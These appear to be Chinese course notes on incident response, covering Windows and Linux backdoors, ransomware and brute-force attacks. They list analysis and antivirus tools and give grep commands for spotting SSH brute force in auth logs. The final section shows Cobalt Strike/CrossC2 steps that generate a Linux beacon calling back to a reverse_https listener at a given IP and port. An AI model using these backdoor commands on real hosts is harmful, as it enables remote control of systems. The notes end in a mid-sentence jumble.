74.应急响应-win&linux分析后门&勒索病毒&攻击

应急响应-win&linux分析后门&勒索病毒&攻击

QQ截图20220530092353.jpg

常见危害

暴力破解
漏洞利用
流量攻击
木马控制(Webshell,PC 木马等)
病毒感染(挖矿，蠕虫，勒索等)

常见分析

计算机账户
端口
进程
网络
启动
服务
任务
文件等安全问题

补充资料

https://xz.aliyun.com/t/485应急响应大合集
https://www.secpulse.com/archives/114019.html最全Windows安全工具锦集
https://docs.microsoft.com/en-us/sysinternals/windows官方工具

病毒分析

PCHunter：http://www.xuetr.com
火绒剑：https://www.huorong.cn
Process Explorer：https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker：https://processhacker.sourceforge.io/downloads.php
autoruns：https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL：https://www.bleepingcomputer.com/download/otl/
SysInspector：http://download.eset.com.cn/download/detail/?product=sysinspector

病毒查杀

卡巴斯基：http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛：http://free.drweb.ru/download+cureit+free
火绒安全软件：https://www.huorong.cn
360 杀毒：http://sd.360.cn/download_center.html

病毒动态

CVERC-国家计算机病毒应急处理中心：http://www.cverc.org.cn
微步在线威胁情报社区：https://x.threatbook.cn
火绒安全论坛：http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区：http://bbs.duba.net
腾讯电脑管家：http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站

http://www.virscan.org多引擎在线病毒扫描网
https://habo.qq.com腾讯哈勃分析系统
https://virusscan.jotti.org恶意软件扫描系统
http://www.scanvir.com计算机病毒、手机病毒、可疑文件分析

攻击响应-暴力破解(RDP,SSH)-Win,Linux

Windows-LogFusion

事件归类
事件 ID
事件状态等
参考百度资料

Linux-grep 筛选

#1、统计了下日志，确认服务器遭受多少次暴力破解
grep -o "Failed password" /var/log/secure|uniq -c

#2、输出登录爆破的第一行和最后一行，确认爆破时间范围：
grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1

#3、进一步定位有哪些 IP 在爆破？
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr

#4、爆破用户名字典都有哪些？
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

#5、登录成功的日期、用户名、IP：
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

案例演示1-windows日志查看

windows日志位置

QQ截图20220530100104.jpg

windows自带日志工具不好用，查找分析不方便，推荐使用插件LogFusion

QQ截图20220530100127.jpg

LogFusion载入应用程序、硬件事件、安全、系统等日志

QQ截图20220530100155.jpg

使用弱口令工具进行暴力破解（选择RDP协议），模拟攻击

QQ截图20220530100214.jpg

在安全日志里看到很多账户登录失败的日志，可以判断当前主机遭受了爆破攻击，以及是否成功等

QQ截图20220530105501.jpg

双击进入，查看详细信息（可以看到是哪个IP地址爆破密码成功，成功登录了本机）

QQ截图20220530105523.jpg

案例演示2-linux日志查看

linux日志位置

QQ截图20220530105549.jpg

首先使用弱口令工具进行暴力破解（选择SSH协议），模拟攻击

QQ截图20220530105606.jpg

linux日志分析，使用grep筛选

QQ截图20220530105626.jpg

控制响应-后门木马(Webshell,PC)-Win,Linux

CS借助CrossC2项目上线linux主机过程

项目上传至服务端目录，给予执行权限

配置监听器：windows/beacon_https/reverse_https阿里云记得端口放行

生成后门：./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2通过网络监听工具及 windows 日志分析或执行记录查找后门问题